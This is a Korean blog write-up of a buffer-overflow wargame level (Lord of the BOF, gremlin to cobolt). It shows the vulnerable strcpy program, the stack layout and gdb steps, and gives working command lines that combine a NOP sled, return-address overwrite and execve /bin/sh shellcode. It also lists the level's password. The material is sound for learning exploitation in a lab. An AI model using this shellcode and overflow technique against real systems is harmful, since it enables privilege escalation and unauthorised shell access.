ID : gremlin
PW : hello bof world
이번에도 할 일은 level1처럼 level2에서도 아래의 순서로 문제 풀이를 진행한다.
1. 취약점 찾기
2. 페이로드 작성
3. 취약점 트리거 및 비밀번호 획득
1. 취약점 찾기
어떤 파일이 있는지 먼저 확인한다. level1과 마찬가지로 setreuid가 cobolt으로 설정되어있는 바이너리가 있다. 이번에도 cobolt.c에서 취약점을 찾고 페이로드를 만들어 cobolt에서 취약점을 트리거시켜 cobolt의 권한을 얻는 방식으로 진행한다.
-1. 문제 파악
cobolt.c를 확인한다. 여기서도 level1처럼 strcpy로 입력값을 받고 있다! 이번엔 buffer의 크기가 16정도 밖에 되지않아, buffer에 쉘코드를 전부 넣을 수 없다. 따라서 다른 방법을 찾아야 한다.
1 //
2 The Lord of the BOF : The Fellowship of the BOF
3 - cobolt
4 - small buffer
5 //
6 int main(int argc, char *argv[])
7 {
8 char buffer[16];
9 if(argc < 2){
10 printf("argv error\n");
11 exit(0);
12 }
13 strcpy(buffer, argv[1]);
14 printf("%s\n", buffer);
15 }
스택의 구조는 아래와 같다. 쉘코드를 buffer에 넣기엔 쉘코드의 크기가 더 커 buffer를 넘어 return address까지 덮게 된다.
따라서, 다른 위치에 쉘코드를 넣고, strcpy를 이용해 buffer overflow를 일으켜 return address를 해당 쉘코드의 위치로 바꿔준다. 그 방법으로 (1) 환경변수 이용하는 방법과 (2)ret의 뒷부분을 이용하는 방법이 있다.
(1)의 방식은 level1의 풀이와 똑같다. level1의 풀이를 참고바란다.
(2)의 풀이를 이용해보겠다.
2. 페이로드 작성
gdb를 통해 buffer의 주소 및 ret addr의 주소, ret 뒷공간의 주소를 찾고 ret의 뒷 공간에 쉘코드를 넣어줄 것이다. 이번에도 strcpy가 끝난 후(main+53)에 break point를 걸고 스택을 확인해준다. 입력값으로는 버퍼의 크기(16,0x10)만큼 넣어준다.
buffer의 주소는 0xbffffad8이라는 것을 알 수 있다. 이제 ret addr 뒷쪽으로 쉘코드를 넣고 적당한 주소를 정해 ret address로 설정해준다. 다시 gdb를 통해 ret 뒷공간에 nop + 쉘코드를 넣고 적당한 주소를 잦아보자.
다시 위의 과정대로 진행하되, 입력값으로 A 24개(버퍼 크기 16 + sfp 4 + ret 4)와 nop + 쉘코드를 넣어주고 스택을 확인한다.
r `python -c 'print("A"*24+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
적당히 nop의 위치인 0xbffff710을 ret addr로 넣어준다.
3. 취약점 트리거 및 권한 획득
./cobolt `python -c 'print("A"*20 + "\x10\xf7\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
level2 끝~~
'wargame - system > LoB' 카테고리의 다른 글
[LoB] Level3 : cobolt >> goblin (0) | 2022.11.13 |
---|---|
[LoB] Level1 : gate >> gremlin (0) | 2022.11.05 |
[LoB] The Load of BoF - 해커스쿨 BoF 환경 구축 (0) | 2022.10.31 |